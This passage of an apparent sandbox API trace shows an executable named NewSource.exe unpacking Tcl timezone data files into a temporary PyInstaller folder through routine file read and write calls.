(normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.333] GetFileType (hFile=0x10c) returned 0x1 [0040.333] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.333] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.334] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.334] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.334] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.334] CloseHandle (hObject=0x10c) returned 1 [0040.334] GetLastError () returned 0x0 [0040.334] SetLastError (dwErrCode=0x0) [0040.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Omsk") returned 66 [0040.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Omsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\omsk"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.334] GetLastError () returned 0x2 [0040.334] SetLastError (dwErrCode=0x2) [0040.334] GetLastError () returned 0x2 [0040.334] SetLastError (dwErrCode=0x2) [0040.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Omsk", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Omsk", lpFilePart=0x0) returned 0x41 [0040.334] GetLastError () returned 0x2 [0040.334] SetLastError (dwErrCode=0x2) [0040.334] GetLastError () returned 0x2 [0040.334] SetLastError (dwErrCode=0x2) [0040.334] GetLastError () returned 0x2 [0040.334] SetLastError (dwErrCode=0x2) [0040.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Omsk") returned 66 [0040.334] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.334] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Omsk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\omsk"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.335] GetFileType (hFile=0x10c) returned 0x1 [0040.335] htonl (hostlong=0xb080000) returned 0x80b [0040.335] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.335] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x80b, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x80b, lpOverlapped=0x0) returned 1 [0040.437] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.437] CloseHandle (hObject=0x10c) returned 1 [0040.440] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.440] htonl (hostlong=0x30000000) returned 0x30 [0040.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.440] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.440] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.441] GetFileType (hFile=0x10c) returned 0x1 [0040.441] htonl (hostlong=0x9f0d5b00) returned 0x5b0d9f [0040.441] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fbd9f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.441] htonl (hostlong=0xcb010000) returned 0x1cb [0040.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cb) returned 0x550600 [0040.441] htonl (hostlong=0xcb010000) returned 0x1cb [0040.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.441] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.441] htonl (hostlong=0x93060000) returned 0x693 [0040.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x693) returned 0x55e278 [0040.441] htonl (hostlong=0xcb010000) returned 0x1cb [0040.441] htonl (hostlong=0x93060000) returned 0x693 [0040.441] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.441] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.441] CloseHandle (hObject=0x10c) returned 1 [0040.441] GetLastError () returned 0x0 [0040.441] SetLastError (dwErrCode=0x0) [0040.441] GetLastError () returned 0x0 [0040.441] SetLastError (dwErrCode=0x0) [0040.441] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.441] GetFileType (hFile=0x10c) returned 0x1 [0040.441] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.441] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.442] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.442] CloseHandle (hObject=0x10c) returned 1 [0040.442] GetLastError () returned 0x0 [0040.442] SetLastError (dwErrCode=0x0) [0040.442] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.442] GetFileType (hFile=0x10c) returned 0x1 [0040.442] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.442] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.442] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.442] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.442] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.442] CloseHandle (hObject=0x10c) returned 1 [0040.442] GetLastError () returned 0x0 [0040.442] SetLastError (dwErrCode=0x0) [0040.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.443] GetFileType (hFile=0x10c) returned 0x1 [0040.443] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.443] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.443] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.443] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.443] CloseHandle (hObject=0x10c) returned 1 [0040.443] GetLastError () returned 0x0 [0040.443] SetLastError (dwErrCode=0x0) [0040.443] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Oral") returned 66 [0040.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Oral" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\oral"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.443] GetLastError () returned 0x2 [0040.443] SetLastError (dwErrCode=0x2) [0040.443] GetLastError () returned 0x2 [0040.443] SetLastError (dwErrCode=0x2) [0040.443] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Oral", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Oral", lpFilePart=0x0) returned 0x41 [0040.443] GetLastError () returned 0x2 [0040.443] SetLastError (dwErrCode=0x2) [0040.443] GetLastError () returned 0x2 [0040.443] SetLastError (dwErrCode=0x2) [0040.444] GetLastError () returned 0x2 [0040.444] SetLastError (dwErrCode=0x2) [0040.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Oral") returned 66 [0040.444] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Oral" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\oral"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.444] GetFileType (hFile=0x10c) returned 0x1 [0040.444] htonl (hostlong=0x93060000) returned 0x693 [0040.444] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.445] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x693, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x693, lpOverlapped=0x0) returned 1 [0040.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.446] CloseHandle (hObject=0x10c) returned 1 [0040.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.446] htonl (hostlong=0x30000000) returned 0x30 [0040.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.446] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.446] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.446] GetFileType (hFile=0x10c) returned 0x1 [0040.446] htonl (hostlong=0x6a0f5b00) returned 0x5b0f6a [0040.446] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5fbf6a, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.446] htonl (hostlong=0xab000000) returned 0xab [0040.446] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x55cfe0 [0040.446] htonl (hostlong=0xab000000) returned 0xab [0040.446] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.446] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.446] htonl (hostlong=0xed000000) returned 0xed [0040.446] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xed) returned 0x550600 [0040.446] htonl (hostlong=0xab000000) returned 0xab [0040.446] htonl (hostlong=0xed000000) returned 0xed [0040.446] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0040.446] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.447] CloseHandle (hObject=0x10c) returned 1 [0040.447] GetLastError () returned 0x0 [0040.447] SetLastError (dwErrCode=0x0) [0040.447] GetLastError () returned 0x0 [0040.447] SetLastError (dwErrCode=0x0) [0040.447] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.447] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.447] GetFileType (hFile=0x10c) returned 0x1 [0040.447] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.447] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.448] CloseHandle (hObject=0x10c) returned 1 [0040.448] GetLastError () returned 0x0 [0040.448] SetLastError (dwErrCode=0x0) [0040.448] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.448] GetFileType (hFile=0x10c) returned 0x1 [0040.448] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.448] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.448] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.448] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.448] CloseHandle (hObject=0x10c) returned 1 [0040.449] GetLastError () returned 0x0 [0040.449] SetLastError (dwErrCode=0x0) [0040.449] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.449] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.449] GetFileType (hFile=0x10c) returned 0x1 [0040.449] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.449] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.449] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.449] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.449] SystemTimeToTzSpecificLocalTime (in: 